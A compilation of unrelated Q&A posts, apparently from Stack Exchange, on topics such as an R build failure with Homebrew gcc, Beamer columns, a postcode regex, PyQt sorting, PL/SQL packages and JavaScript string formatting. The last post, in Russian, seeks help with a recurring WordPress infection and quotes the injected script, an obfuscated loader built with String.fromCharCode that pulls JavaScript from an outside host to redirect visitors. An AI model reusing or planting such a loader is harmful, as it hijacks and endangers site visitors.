make[4]: se sale del directorio '/home/andrespara/R-4.2.0/src/library/tools'
make[3]: *** [Makefile:36: all] Error 2
make[3]: se sale del directorio '/home/andrespara/R-4.2.0/src/library/tools'
make[2]: *** [Makefile:37: R] Error 1
make[2]: se sale del directorio '/home/andrespara/R-4.2.0/src/library'
make[1]: *** [Makefile:28: R] Error 1
make[1]: se sale del directorio '/home/andrespara/R-4.2.0/src'
make: *** [Makefile:61: R] Error 1

I tried this brew reinstall srt  but I didn't worlk.
This is the output of  brew linkage gcc
System libraries:
  /lib64/ld-linux-x86-64.so.2
  /lib64/libc.so.6
  /lib64/libdl.so.2
  /lib64/libgcc_s.so.1
  /lib64/libm.so.6
  /lib64/libpthread.so.0
  /lib64/librt.so.1
Homebrew libraries:
  /home/linuxbrew/.linuxbrew/opt/gcc/lib/gcc/11/libgcc_s.so.1 (gcc)
  /home/linuxbrew/.linuxbrew/opt/gcc/lib/gcc/11/libquadmath.so.0 (gcc)
  /home/linuxbrew/.linuxbrew/opt/gcc/lib/gcc/11/libstdc++.so.6 (gcc)
  /home/linuxbrew/.linuxbrew/opt/gmp/lib/libgmp.so.10 (gmp)
  /home/linuxbrew/.linuxbrew/opt/isl/lib/libisl.so.23 (isl)
  /home/linuxbrew/.linuxbrew/opt/libmpc/lib/libmpc.so.3 (libmpc)
  /home/linuxbrew/.linuxbrew/opt/mpfr/lib/libmpfr.so.6 (mpfr)
  /home/linuxbrew/.linuxbrew/opt/zlib/lib/libz.so.1 (zlib)
  /home/linuxbrew/.linuxbrew/opt/zstd/lib/libzstd.so.1 (zstd)

I checked with brew and reinstalled gcc
brew doctor
brew list --versions gcc
"gcc 11.3.0_1"
brew update
brew upgrade

How can I solve this?
ETA:
I took some drastic measures brew uninstall --ignore-dependencies gcc and then starting again the whole procedure worked and I got R, but how can I solve this beyond just installing gcc back.


text:
Q: Beamer frame with two columns and two images on the same column I need to divide a frame into two columns and the left column I need to put two or three images, one above the other and in the right column text.
How can I do that?

A: You can use the columns environment:
\documentclass{beamer}

\begin{document}

\begin{frame}
\begin{columns}
\begin{column}{.45\textwidth}
\includegraphics[width=\textwidth]{example-image-a}

\includegraphics[width=\textwidth]{example-image-b}
\end{column}
\begin{column}{.45\textwidth}
text
\end{column}
\end{columns}
\end{frame}

\end{document}


text:
Q: Python, Regular Expression Postcode search I am trying to use regular expressions to find a UK postcode within a string.
I have got the regular expression working inside RegexBuddy, see below:
\b[A-Z]{1,2}[0-9][A-Z0-9]? [0-9][ABD-HJLNP-UW-Z]{2}\b

I have a bunch of addresses and want to grab the postcode from them, example below:

123 Some Road Name Town, City County PA23 6NH

How would I go about this in Python?  I am aware of the re module for Python but I am struggling to get it working.
Cheers
Eef

A: repeating your address 3 times with postcode PA23 6NH, PA2 6NH and PA2Q 6NH as test for you pattern and using the regex from wikipedia against yours, the code is..
import re

s="123 Some Road Name\nTown, City\nCounty\nPA23 6NH\n123 Some Road Name\nTown, City"\
    "County\nPA2 6NH\n123 Some Road Name\nTown, City\nCounty\nPA2Q 6NH"

#custom
print re.findall(r'\b[A-Z]{1,2}[0-9][A-Z0-9]? [0-9][ABD-HJLNP-UW-Z]{2}\b', s)

#regex from #http://en.wikipedia.orgwikiUK_postcodes#Validation
print re.findall(r'[A-Z]{1,2}[0-9R][0-9A-Z]? [0-9][A-Z]{2}', s)

the result is
['PA23 6NH', 'PA2 6NH', 'PA2Q 6NH']
['PA23 6NH', 'PA2 6NH', 'PA2Q 6NH']

both the regex's give the same result.

A: Try
import re
re.findall("[A-Z]{1,2}[0-9][A-Z0-9]? [0-9][ABD-HJLNP-UW-Z]{2}", x)

You don't need the \b.

A: #!/usr/bin/env python

import re

ADDRESS="""123 Some Road Name
Town, City
County
PA23 6NH"""

reobj = re.compile(r'(\b[A-Z]{1,2}[0-9][A-Z0-9]? [0-9][ABD-HJLNP-UW-Z]{2}\b)')
matchobj = reobj.search(ADDRESS)
if matchobj:
    print matchobj.group(1)

Example output:
[user@host]$ python uk_postcode.py
PA23 6NH


text:
Q: Maximum area of a fenced playpen on the side of a house. Here's an interesting problem: you just got a really cute puppy, and you want it to have a large rectangular playpen to run around in. What's more, your neighbor just happened to have 100 feet of extra fencing, and decided to give it to you. You want one side of the playpen to be your house, and the other three sides must be surrounded by the fence. With only the 100 feet of fencing you got from your neighbor, what are the dimensions of the playpen?
This problem can be solved using simple algebra. Pretend that the width of the playpen is perpendicular to the house, and the length is parallel. Give variables to each: $x$ for the width, and $y$ for the length.
You have the two equations $2x+y=100$ and $x\cdot y=A$ where $A$ is the area of the pen. Solving for $y$ in the first equation, you get $y=100-2x$. Substituting $y$ into the second equation gives you $(100-2x)\cdot x=A$
To find the maximum value, we can first find the two x-intercepts: $(0,0)$ and $(50,0)$. The average of the x-values gives you the x-value of the vertex, which is $25$. Plugging this into the first equation, you get $y=50$.
So there you have it. The width of the playpen is 25, and the length is 50 for a maximum area of $25\cdot 50=1250$. But this wasn't my real question.
The situation above was of a rectangular playpen, but I'm wondering whether it's possible to find the maximum area of a playpen of any shape, but still with 100 feet of fencing. The side of the playpen that is formed by the wall must be at least 5 feet wide, in order to allow for movement between the house and the playpen (for both the owner and the puppy).
If you have a suggestion or partial answer, please feel free to post it as an answer. If you have a full answer, that's even better, but I'm just looking for pointers.

A: If you reflect your fence over the wall (do this mentally, since you don't want the fence inside your house), and add that reflected fence to the original, you get a new area that is twice the original and is bounded purely by fencing.
A well-known result in the calculus of variations is that the maximum area enclosed by a given perimeter is realized by a circle. Therefore the maximum area on just one side of the wall is a semicircle.
So find the radius of the circle with perimeter $200$ (double the actual fence), find the area of the semicircle with that radius, and you are done, at least if the diameter of that semicircle is over $5$ (which it is).

A: I am working on a similar optimisation problem
We know that the area of a rectangle is Area=length * width $A=xy$
 and that the perimeter = 2*length + 2* width or $ P=2x+2y$ since one of the lenghts is the wall of the house we have $P=x+2y=100$
Since there is a relation we rearrange $y=\frac{100-x}{2}$ and substitute this in $A$ thus we have $ A=x\frac{100-x}{2}=50x-x^2$
We can asume that $A$ will have a maximum value at $\frac{dA}{dx}=0$
$\frac{dA}{dx}=-2x+50$ setting this to $0$ and solving for $x$ we find that $x=25$ since we substituted for $y$ we reverse the substitution and find the maximum area is $25*50=1250$ with length 50 and width 25.
Thus for any shape if you can find $A'(x)$ and set it to $0$ you should be able to find the optimised dimensions, it might be alot more difficult depending on the complexity $A(x)$


text:
Q: PyQt сортировка в TableWidget по столбцу с QComboBox Подскажите если в TableWidget имеется столбец в который внедрены QComboBox
myTable.setSortingEnabled(True)
 myTable.setCellWidget(0, 0, QComboBox())

Сортировка по этому столбцу не работает. Как сделать так чтобы сортировка работала по значениям из QComboBox()

A: c QTableWidget сложновато, а с QTableView можно так (как вариант):
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.Qt import *
import random

class ComboBoxDelegate(QItemDelegate):
    mySignal = pyqtSignal(int, str)

    def __init__(self, parent, choices):
        super().__init__(parent)
        self.items = choices

    def createEditor(self, parent, option, index):
        editor = QComboBox(parent)
        editor.addItems(self.items)
        return editor

    def paint(self, painter, option, index):
        if isinstance(self.parent(), QAbstractItemView):
            self.parent().openPersistentEditor(index)

    def setModelData(self, editor, model, index):
        value = editor.currentText()
        model.setData(index, value, Qt.DisplayRole)

    def setEditorData(self, editor, index):
        text = index.data(Qt.DisplayRole) or ""
        editor.setCurrentText(text)
        self.mySignal.emit(index.row(), editor.currentText())

    def updateEditorGeometry(self, editor, option, index):
        editor.setGeometry(option.rect)

class MainWindow(QtWidgets.QMainWindow):
    def __init__(self, parent=None):
        super(MainWindow, self).__init__(parent)

        self._tableView = QtWidgets.QTableView()
        self.setCentralWidget(self._tableView)

        self._model = QtGui.QStandardItemModel(5, 4)
        self._tableView.setModel(self._model)
        self._tableView.horizontalHeader().setStretchLastSection(True)

        self._listCombo = ['m1', 'm2', 'm3', 'm4', 'm5']
        delegate = ComboBoxDelegate(self._tableView, self._listCombo)
        self._tableView.setItemDelegateForColumn(3, delegate)
        delegate.mySignal.connect(self.delegateMySignal)
        self._tableView.setSortingEnabled(True)

        now_second = QtCore.QDateTime.currentDateTime().toSecsSinceEpoch()
        texts_column_2 = ['один', 'два', 'три', 'четыре', 'пять',]

        for i in range(self._model.rowCount()):
            for j in range(self._model.columnCount()):
                if j == 1:
                    t = QtCore.QDateTime.fromSecsSinceEpoch(random.randint(0, now_second))
                    text = t.toString("dd MMM yyyy")
                    it = QtGui.QStandardItem(text)
                    it.setData(t.toSecsSinceEpoch(), QtCore.Qt.UserRole)
                elif j == 2:
                    text = f"{texts_column_2[i]}"
                    it = QtGui.QStandardItem(text)
                    it.setData(i, QtCore.Qt.UserRole)
                elif j == 3:                   # !!! для реализации сортировки по значениям из QComboBox
                    self._text3 = 'm1'
                    it = QtGui.QStandardItem(self._text3)
                    it.setData(self._text3, QtCore.Qt.UserRole)
                else:
                    it = QtGui.QStandardItem("{}-{}".format(i, j))

                self._model.setItem(i, j, it)

        self._model.setSortRole(QtCore.Qt.UserRole)
        # отсортируем по столбцу с индексом 2, по возрастанию
        self._model.sort(2, QtCore.Qt.AscendingOrder)

    # !!! для реализации сортировки по значениям из QComboBox
    def delegateMySignal(self, i, test):
        it = QtGui.QStandardItem(test)
        it.setData(test, QtCore.Qt.UserRole)
        self._model.setItem(i, 3, it)

if __name__ == '__main__':
    import sys
    app = QtWidgets.QApplication(sys.argv)
    w = MainWindow()
    w.resize(450, 250)
    w.show()
    sys.exit(app.exec_())


text:
Q: How to redraw widget on Flutter when a value changes? Suppose the following simple StatefulWidget example:
import 'package:flutter/material.dart';

void main() => runApp(MyApp());

class MyApp extends StatefulWidget {
  @override
  State<StatefulWidget> createState() {
    return _MyAppState();
  }
}

class _MyAppState extends State<MyApp> {
  int value = 0;
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(title: Text('App Example')),
        body: Row(children:[
          Text("hello"),
          RaisedButton(
            textColor: Colors.white,
            color: Colors.blue,
            onPressed: (){setState(() { value+=1; });},
            child: new Text("Add"),
          )
        ]),
      ),
    );
  }
}

My main problem is: how do I redraw Text("hello") every time  value changes? I'm using Text as an example, but it could be an widget that has an internal state, and I'd like to redraw it when the value changes. It does not necessarily depends on the value but I want to redraw anyways when value changes.

A: I don't have much idea ab8 it. I do this kind of stuff by wrapping it into an container and setting height and width equal to some variable.

A: If your question is if you just want to change the state of that specific widget(Example the Text widget) without disturbing the other widgets. This are some of the state management's which might help other than SetState (My personal fav. BLOC and REDUx).

A: Update this line:-
Text("hello ${value}"),
class MyApp extends StatefulWidget {
  @override
  State<StatefulWidget> createState() {
    return _MyAppState();
  }
}

class _MyAppState extends State<MyApp> {
  int value = 0;
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        appBar: AppBar(title: Text('App Example')),
        body: Center(
          child: Column(children: [
            Text("hello ${value}"),
            RaisedButton(
              textColor: Colors.white,
              color: Colors.blue,
              onPressed: () {
                setState(() {
                  value += 1;
                });
              },
              child: new Text("Add"),
            )
          ]),
        ),
      ),
    );
  }
}


text:
Q: How to invoke packaged function in PL/SQL? I created a package specification and body:
CREATE OR REPLACE PACKAGE pack_debt AS
  overdue_charge CONSTANT number :=0.005;
  FUNCTION debt (person_nr IN number) RETURN number;
end pack_debt;

CREATE OR REPLACE PACKAGE BODY pack_debt AS
  FUNCTION debt (person_nr IN number)
    RETURN number IS
    overdue number;
  BEGIN
    select (date_of_return-hiredate)*(price*overdue_charge) into overdue
      from books, rentals, users
     where users.id = rentals.user_id
       and books.id = rentals.book_id
       and date_of_return - hiredate > 14
       and users.id = person_nr;
  end debt;
end pack_debt;

I want to see the values of overdue, but when I try to invoke the function it doesn't work. How should it be invoked ?
If I just create  the function:
create or replace function dept (person_nr IN number)
  RETURN number IS
  overdue number;
begin
  select (date_of_return - hiredate) * (price * 0.005) into overdue
    from books, rentals, users
   where users.id = rentals.user_id
     and books.id = rentals.book_id
     and date_of_return - hiredate > 14
     and users.id = person_nr;
  RETURN (overdue);
end dept;

and do..
select dept('1') from dual;

I get the values of overdue. How can I get same thing when using packages?

A: FUNCTION block syntax is pretty same, when both written stand alone or encapsulated inside a Package.
As @Ben says, a RETURN statement is mandatory.
You declare the FUNCTION , just as RETURN NUMBER, but didn't specify the variable or constant that the function returns, so it's incomplete! And your Package Body is left INVALID.
And finally calling it is pretty simple,
SELECT pack_debt.debt('1') FROM DUAL;

A: Can you please check the code. i think it should work.
CREATE OR REPLACE PACKAGE pack_debt AS
      overdue_charge CONSTANT number :=0.005;
      FUNCTION debt (person_nr IN number) RETURN number;
    end pack_debt;

    CREATE OR REPLACE PACKAGE BODY pack_debt AS
      FUNCTION debt (person_nr IN number)
        RETURN number AS
        overdue number;
      BEGIN
        select SALARY into overdue from avrajit
    where SR_NO = person_nr;
    RETURN overdue;
      end debt;
    end pack_debt;
    ------------------------------------
    DECLARE
    AV_NO NUMBER;
    BEGIN
    AV_NO:= pack_debt.debt(2);
    DBMS_OUTPUT.PUT_LINE(AV_NO);
    END;


text:
Q: JavaScript: Insert a character after every N characters I have a string, which always has a lenght of 32:
var str = "34v188d9cefa401f988563fb153xy04b";
Now I need to add a minus (-) after following number of characters:

*

*First minus after 8th character

*Second minus after 12th character

*Third minus after 16th character

*Fourth minus after 20th character

Output should be:
34v188d9-cefa-401f-9885-63fb153xy04b
So far I have tried different calculations with e.g.:
str.split('').reduce((a, b, c) => a + b + (c % 6 === 4 ? '-' : ''), '');
But I don't get the expected result.

A: You could use a regex replacement:

var str = "34v188d9cefa401f988563fb153xy04b";
var output = str.replace(/^(.{8})(.{4})(.{4})(.{4})(.{12})$/, "$1-$2-$3-$4-$5");
console.log(output);

A: If you want to use reduce you can do something like this

var str = "34v188d9cefa401f988563fb153xy04b";

const result = str.split('').reduce((res, c, i) => {
  const hiphensPositions = [7, 11, 15, 19]
  return res + c + (hiphensPositions.includes(i)?'-':'')
}, '')

console.log(result)

A:      var str = "34v188d9cefa401f988563fb153xy04b";
     var a=""
     for (let i in str){if (i == 7 || i==11 ||  i==15  ||  i ==
      19){a = a+str[i]+"-"} else{a+=str[i] }}

should do it.

A: You can splice them.

const str = "34v188d9cefa401f988563fb153xy04b";
const indices = [8,12,16,20]
let strArr = str.split('')
indices.reverse().forEach(i => strArr.splice(i,0,'-'))
console.log(strArr.join(''))

A: You can use the substring method

var str = '34v188d9cefa401f988563fb153xy04b';

var newStr =
    str.substring(0, 8) +
    '-' +
    str.substring(8, 12) +
    '-' +
    str.substring(12, 16) +
    '-' +
    str.substring(16, 20) +
    '-' +
    str.substring(20);

console.log(newStr);

A: I have a for loop algorithm for this case. It take O(n) complexity. The code example is like this:
const str = "34v188d9cefa401f988563fb153xy04b"
let dashPosition = [8, 12, 16, 20]

for(i=arr.length-1 ; i>=0 ; i--) {
    str = str.substr(0, [arr[i]]) + '-' + str.substr(arr[i])
}

Is the answer match what you want?

A: You can do this with splice and a loop.
The loop iterates all the positions you want to add a -, and uses the index to ensure that each time you add a new character to the string, the required positionto insert the - is also incremented.
const str = "34v188d9cefa401f988563fb153xy04b";
const positions = [8, 12, 16, 20];

const strChars = str.split("");
for(const [index, position] of positions.entries()) {
  strChars.splice(position + index, 0, "-");
}
const output = strChars.join("");

console.log(output); // expected output: "34v188d9-cefa-401f-9885-63fb153xy04b"

You could wrap this up in a function that just takes the string and positions array like so:
function insertHyphens(str, positions) {
  const strChars = str.split("");
  for(const [index, position] of positions.entries()) {
    strChars.splice(position + index, 0, "-");
  }
  return strChars.join("");
}

console.log(insertHyphens("34v188d9cefa401f988563fb153xy04b", [8, 12, 16, 20]));
// expected output: "34v188d9-cefa-401f-9885-63fb153xy04b"


text:
Q: Is there any way to find out result matching percentage in vespa.ai? We need to find out the result matching percentage, for example-
I am searching for an artist that is Coldplay and I queried as-
/search/?yql=select * from sources * where  artist contains 'Coldploy';

OR
/search/?yql=select * from sources * where  artist contains 'Coldplsy';

So I will get some matching percentage in result

A: https://docs.vespa.ai/documentation/reference/default-result-format.html - see totalCount and the coverage section - you can calculate matching percentage from the numbers there


text:
Q: Регулярные заражения WordPress-сайта javacript-переадресациями Имеется сайт, с последними обновлениями: самого WordPress и плагинов.
Тема самописная - никаких уязвимостей не содержит - в ней вообще ничего лишнего нет.
Установлен и хорошенько настроен плагин безопасности iThemes security.
Практически 1 раз в 7-10 дней происходит регулярное заражение всех записей (таблица posts) - по сути в конец каждой записи добавляется строчки подключения javascript'а - переадресующего на сайте посетителя на другие сайты или просто такие вот конструкции:
<script type=text/javascript>Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>

вирусный javascript каждый раз видоизменяется, иногда просто подключается внешний файл, а иногда такая вот шифровка как выше...
Все файлы сайта, плагинов, ядра WordPress без изменений - проверял и сравнивал с дозараженными копиями сайта. Обновлял всё и вся как только можно и нельзя. В базе никаких особых признаков нет. WP_CRON переключил на серверный.
Что делать? Как определить заразу?
Копаться в логах SQL и GET запросов?
p.s.: а ха да все доступы менял по кругу несколько раз: администратора WP, FTP, MySQL, компьютер с которого осуществляет доступ в админку один - проверялся двумя антивирусниками, браузер переустанавливался.